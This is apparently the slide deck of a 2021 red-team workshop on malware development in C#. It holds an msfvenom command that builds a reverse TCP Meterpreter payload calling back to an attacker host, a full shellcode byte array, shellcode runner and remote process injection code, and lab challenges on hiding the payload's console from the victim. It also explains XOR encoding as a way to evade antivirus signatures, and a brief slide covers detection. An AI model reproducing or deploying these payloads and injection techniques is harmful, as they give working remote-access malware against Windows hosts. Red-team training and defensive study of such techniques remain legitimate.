AFRICAHACKON 2021

MALWARE DEVELOPMENT FOR RED TEAMING



WHO AM I





AMARJIT LABHURAM [@amarjit_labu]

- ★ Co-Founder & Technical Director @ MacroSec Ltd
- Cybersecurity Researcher
- **★** Pentester / Red Teamer
- ★ Offensive Security Lover

HOBBIES:

- **★** Farming
- ★ Fishing
- ★ DJing Electronic Music
- ★ Foodie & Coffee Lover


WORKSHOP GUIDELINES

- ★ Goals
- Exercises & Lab Guide https://github.com/chr0n1k/AH2021Workshop
- **★** Challenges



COMMAND AND CONTROL (C&C or C2)

A command-and-control [C&C or C2] server is a computer controlled by an attacker or cybercriminal which is used to send commands to systems compromised by malware and receive stolen data from a target network.



https://www.activecountermeasures.com/blog-beacon-analysis-the-key-to-cyber-threat-hunting/

COMMAND AND CONTROL FRAMEWORKS













https://www.thec2matrix.com/


METASPLOIT & METERPRETER

- ★ Extensible C-based payload that uses in memory DLL injection to load modules at runtime
- ★ Meterpreter and the modules it loads run from memory, without touching disk.
- ★ Supports HTTP & HTTPs


METASPLOIT & METERPRETER

```
msf6 exploit(multi/handler) > sessions
Active sessions
_____
  Id Name Type
                                    Information
                                                                       Connection
           meterpreter x64/windows DESKTOP-MHB0T9F\John Doe @ DESKTOP- 10.1.1.15:8080 -> 10.1.1.11:64481 (
                                   MHB0T9F
                                                                       10.1.1.11)
           meterpreter x64/windows DESKTOP-MHB0T9F\John Doe @ DESKTOP- 10.1.1.15:8080 -> 10.1.1.11:63857 (
                                    MHB0T9F
                                                                       10.1.1.11)
 24
           meterpreter x64/windows DESKTOP-MHB0T9F\John Doe @ DESKTOP- 10.1.1.15:8080 -> 10.1.1.11:60025 (
                                    MHB0T9F
                                                                       10.1.1.11)
msf6 exploit(multi/handler) > sessions -i 24
[*] Starting interaction with 24...
meterpreter > getuid
Server username: DESKTOP-MHB0T9F\John Doe
meterpreter >
meterpreter > sysinfo
               : DESKTOP-MHB0T9F
Computer
05
               : Windows 10 (10.0 Build 19042).
Architecture : x64
System Language : en US
               : WORKGROUP
Domain
Logged On Users: 2
               : x64/windows
Meterpreter
meterpreter >
```

- ★ Object oriented programming language released in 2001 as part of the .NET initiative
- C# source is compiled to IL (Intermediate Language) which can then be translated into machine instructions by the CLR (Common Language Runtime) https://docs.microsoft.com/en-us/dotnet/standard/clr
- ★ Managed Code vs Unmanaged https://docs.microsoft.com/en-us/dotnet/standard/managed-code



https://www.c-sharpcorner.com/UploadFile/8911c4/code-execution-process



P/invoke (Platform Invocation Services) allows managed code to call functions implemented in unmanaged libraries (Dlls).

DllImportAttribute Class

Definition

Namespace: System.Runtime.InteropServices Assembly: System.Runtime.InteropServices.dll

Indicates that the attributed method is exposed by an unmanaged dynamic-link library (DLL) as a static entry point.







CONSOLE CLASS

Console Class

Definition

Namespace: System
Assembly: mscorlib.dll

Represents the standard input, output, and error streams for console applications. This class cannot be inherited.

Console.WriteLine("Hello World!"); Console.ReadKey();


https://docs.microsoft.com/en-us/dotnet/api/system.console?view=netframework-4.8

WINDOWS API

- ★ Exposes programming interfaces to the services provided by the OS
- ★ File system access, processes & threads management, network connections, user interface, etc.


https://docs.microsoft.com/en-us/windows/win32/api/

WINDOWS API




https://www.oreilly.com/library/view/learning-malware-analysis/9781788392501/8aa60d1d-3efa-48bf-8fdc-2e3028b0401e.xhtml

WINDOWS API



https://windowskernal.wordpress.com/2011/08/22/windows-api/

MESSAGE BOX




https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox



METERPRETER STAGED PAYLOADS

★ Staged Payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.1.15 LPORT=8080 EXITFUNC=thread -f exe > revershell.exe



SHELLCODE

- Sequence of bytes that represent assembly instructions
- ★ Usually used as the payload after successful exploitation
- ★ Metasploit's msfvenom generate shellcode for different payloads

```
:~# msfvenom -p windows/x64/meterpreter/reverse tcp LHOST=10.1.1.15 LPORT=8080 EXITFUNC=thread -f csharp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
   No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 511 bytes
Final size of csharp file: 2621 bytes
byte[] buf = new byte[511] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41
0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x41,0x51,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b
0x80.0x88.0x00.0x00.0x00.0x48.0x85.0xc0.0x74.0x67.0x48.0x01.0xd0.0x8b.0x48
0x18,0x44,0x8b,0x40,0x20,0x50,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,
0xff.0xc9.0x41.0x8b.0x34.0x88.0x48.0x01.0xd6.0x48.0x31.0xc0.0x41.0xc1.0xc9.
0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00
0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5
0x49,0xbc,0x02,0x00,0x1f,0x90,0x0a,0x01,0x0f,0x0f,0x41,0x54,0x49,0x89,0xe4
0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68
0x01.0x01.0x00.0x00.0x59.0x41.0xba.0x29.0x80.0x6b.0x00.0xff.0xd5.0x6a.0x0a
0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89
0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
0x48.0x89.0xc7.0x6a.0x10.0x41.0x58.0x4c.0x89.0xe2.0x48.0x89.0xf9.0x41.0xba
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5
0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5
0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,
0xba.0x58.0xa4.0x53.0xe5.0xff.0xd5.0x48.0x89.0xc3.0x49.0x89.0xc7.0x4d.0x31.
0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,
0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,
0xff.0xff.0xff.0x48.0x01.0xc3.0x48.0x29.0xc6.0x48.0x85.0xf6.0x75.0xb4.0x41.
0xff,0xe7,0x58,0x6a,0x00,0x59,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0x89,0xda,0xff,
```

SHELLCODE INJECTION

VirtualAlloc, CreateThread & WaitForSingleObject for the win!


```
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

Console.WriteLine("[+] Copying shellcode into allocated memory space");

// Write shellcode into allocated memory space
Marshal.Copy(shellcode, 0, addr, size);

Console.WriteLine("[+] Creating thread and running...catch your shell");
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
// 0xFFFFFFF = WAIT_FAILED
WaitForSingleObject(hThread, 0xFFFFFFFF);
```

SHELLCODE INJECTION



VIRTUALALLOC

VirtualAlloc function (memoryapi.h)

10/13/2021 • 7 minutes to read

Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero.

To allocate memory in the address space of another process, use the VirtualAllocEx function.

Syntax

```
LPVOID VirtualAlloc(
   [in, optional] LPVOID lpAddress,
   [in] SIZE_T dwSize,
   [in] DWORD flAllocationType,
   [in] DWORD flProtect
);
```

MARSHAL CLASS

Marshal Class

Definition

Namespace: System.Runtime.InteropServices Assembly: System.Runtime.InteropServices.dll

Provides a collection of methods for allocating unmanaged memory, copying unmanaged memory blocks, and converting managed to unmanaged types, as well as other miscellaneous methods used when interacting with unmanaged code.

CREATETHREAD

CreateThread function (processthreadsapi.h)

10/13/2021 • 5 minutes to read

Creates a thread to execute within the virtual address space of the calling process.

To create a thread that runs in the virtual address space of another process, use the CreateRemoteThread function.

Syntax

```
HANDLE CreateThread(

[in, optional] LPSECURITY_ATTRIBUTES | lpThreadAttributes,

[in] SIZE_T dwStackSize,

[in] LPTHREAD_START_ROUTINE | lpStartAddress,

[in, optional] __drv_aliasesMem LPVOID | lpParameter,

[in] DWORD dwCreationFlags,

[out, optional] LPDWORD | lpThreadId

);
```

WAITFORSINGLEOBJECT

WaitForSingleObject function (synchapi.h)

10/13/2021 • 2 minutes to read

Waits until the specified object is in the signaled state or the time-out interval elapses.


To enter an alertable wait state, use the WaitForSingleObjectEx function. To wait for multiple objects, use WaitForMultipleObjects.

Syntax


```
C++

DWORD WaitForSingleObject(
  [in] HANDLE hHandle,
  [in] DWORD dwMilliseconds
);
```

CHALLENGE



As shown on the screenshot above, the payload opens a console window that will be visible to the victim and easy to spot. Change the source code of Lab 2 to hide the console using Windows API calls.



MSFVENOM DEFAULT PAYLOAD



VIRTUALALLOCEXNUMA

VirtualAllocExNuma function (memoryapi.h)

10/13/2021 • 7 minutes to read

Reserves, commits, or changes the state of a region of memory within the virtual address space of the specified process, and specifies the NUMA node for the physical memory.

Syntax

```
C++

LPVOID VirtualAllocExNuma(

[in] HANDLE hProcess,

[in, optional] LPVOID lpAddress,

[in] SIZE_T dwSize,

[in] DWORD flAllocationType,

[in] DWORD flProtect,

[in] DWORD nndPreferred

);
```

EXCLUSIVE OR (XOR) ENCRYPTION


Exclusive disjunction (exclusive or) is a logical operation that outputs true only when inputs differ

Commonly used by malware to bypass signature detection

XOR Truth Table		
Input		Output
0	0	0
0	1	1
1	0	1
1	1	0

MODIFIED SHELLCODE RUNNER





OPENPROCESS

HANDLE OpenProcess(

);

[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId

OpenProcess function (processthreadsapi.h) 10/13/2021 • 2 minutes to read Opens an existing local process object. Syntax C++

Copy

VIRTUALALLOCEX

VirtualAllocEx function (memoryapi.h)

10/13/2021 • 7 minutes to read

Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.

To specify the NUMA node for the physical memory, see VirtualAllocExNuma.

```
LPVOID VirtualAllocEx(

[in] HANDLE hProcess,

[in, optional] LPVOID lpAddress,

[in] SIZE_T dwSize,

[in] DWORD flAllocationType,

[in] DWORD flProtect
);
```

WRITEPROCESSMEMORY

WriteProcessMemory function (memoryapi.h)

10/13/2021 • 2 minutes to read

Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.

```
BOOL WriteProcessMemory(

[in] HANDLE hProcess,

[in] LPVOID lpBaseAddress,

[in] LPCVOID lpBuffer,

[in] SIZE_T nSize,

[out] SIZE_T *lpNumberOfBytesWritten
);
```

CREATEREMOTETHREAD

CreateRemoteThread function (processthreadsapi.h)

10/13/2021 • 5 minutes to read

Creates a thread that runs in the virtual address space of another process.

Use the CreateRemoteThreadEx function to create a thread that runs in the virtual address space of another process and optionally specify extended attributes.

```
HANDLE CreateRemoteThread(

[in] HANDLE hProcess,

[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,

[in] SIZE_T dwStackSize,

[in] LPTHREAD_START_ROUTINE lpStartAddress,

[in] LPVOID lpParameter,

[in] DWORD dwCreationFlags,

[out] LPDWORD lpThreadId

);
```

SIMPLE PROCESS INJECTION

```
// Get a handle to the explorer process. 0x001F0FFF = PROCESS_ALL access right
hProcess = OpenProcess(0x001F0FFF, false, pid);
```

```
// Allocate memory in the remote process
addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint) shellcode.Length, 0x3000, PAGE_EXECUTE_READ_WRITE);

Console.WriteLine("[+] WriteProcessMemory to 0x{0}", new string[] { addr.ToString("X") });

// Write shellcode[] to the remote process memory
IntPtr outSize;
WriteProcessMemory(hProcess, addr, shellcode, shellcode.Length, out outSize);


Console.WriteLine("[+] CreateRemoteThread to 0x{0}", new string[] { addr.ToString("X") });

// Create the remote thread in a suspended state = 0x00000004
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out hThread);
```

SIMPLE PROCESS INJECTION




CHALLENGE



Modify the code so that instead of injecting into notepad.exe the shellcode injects into calc.exe

Lab5: Remote Thread Suspended Injection

REMOTE THREAD SUSPENDED INJECTION



RESUMETHREAD

ResumeThread function (processthreadsapi.h)

10/13/2021 • 2 minutes to read

Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed.

```
C++

DWORD ResumeThread(
  [in] HANDLE hThread
);
```



CREATEPROCESS

OPENTHREAD

OpenThread function (processthreadsapi.h) 10/13/2021 • 2 minutes to read Opens an existing thread object. **Syntax** Copy HANDLE OpenThread([in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] DWORD dwThreadId

QUEUEUSERAPC

QueueUserAPC function (processthreadsapi.h)

10/13/2021 • 2 minutes to read


Adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread.

```
DWORD QueueUserAPC(


[in] PAPCFUNC pfnAPC,

[in] HANDLE hThread,

[in] ULONG_PTR dwData
);
```




HOOKING



MITIGATION/DETECTION MEASURES

EPPs have low visibilities on endpoint. To better detect and mitigate the attack we did in the demo, having an EDR in place would help the blue team detect such an exploit much faster in the environment.

<u>E</u> nd <u>p</u> oint <u>P</u> rotection/Antivirus (EPP/AV)	
PREVENTION	
Static Analysis	Byte Matching, Hashes
Dynamic Analysis	Sandboxing
In Memory Analysis	Microsoft AMSI
Poor to no endpoint visibility	



CONCLUSION

One's exploitation kung-fu is limited only by one's creativity and system familiarity.

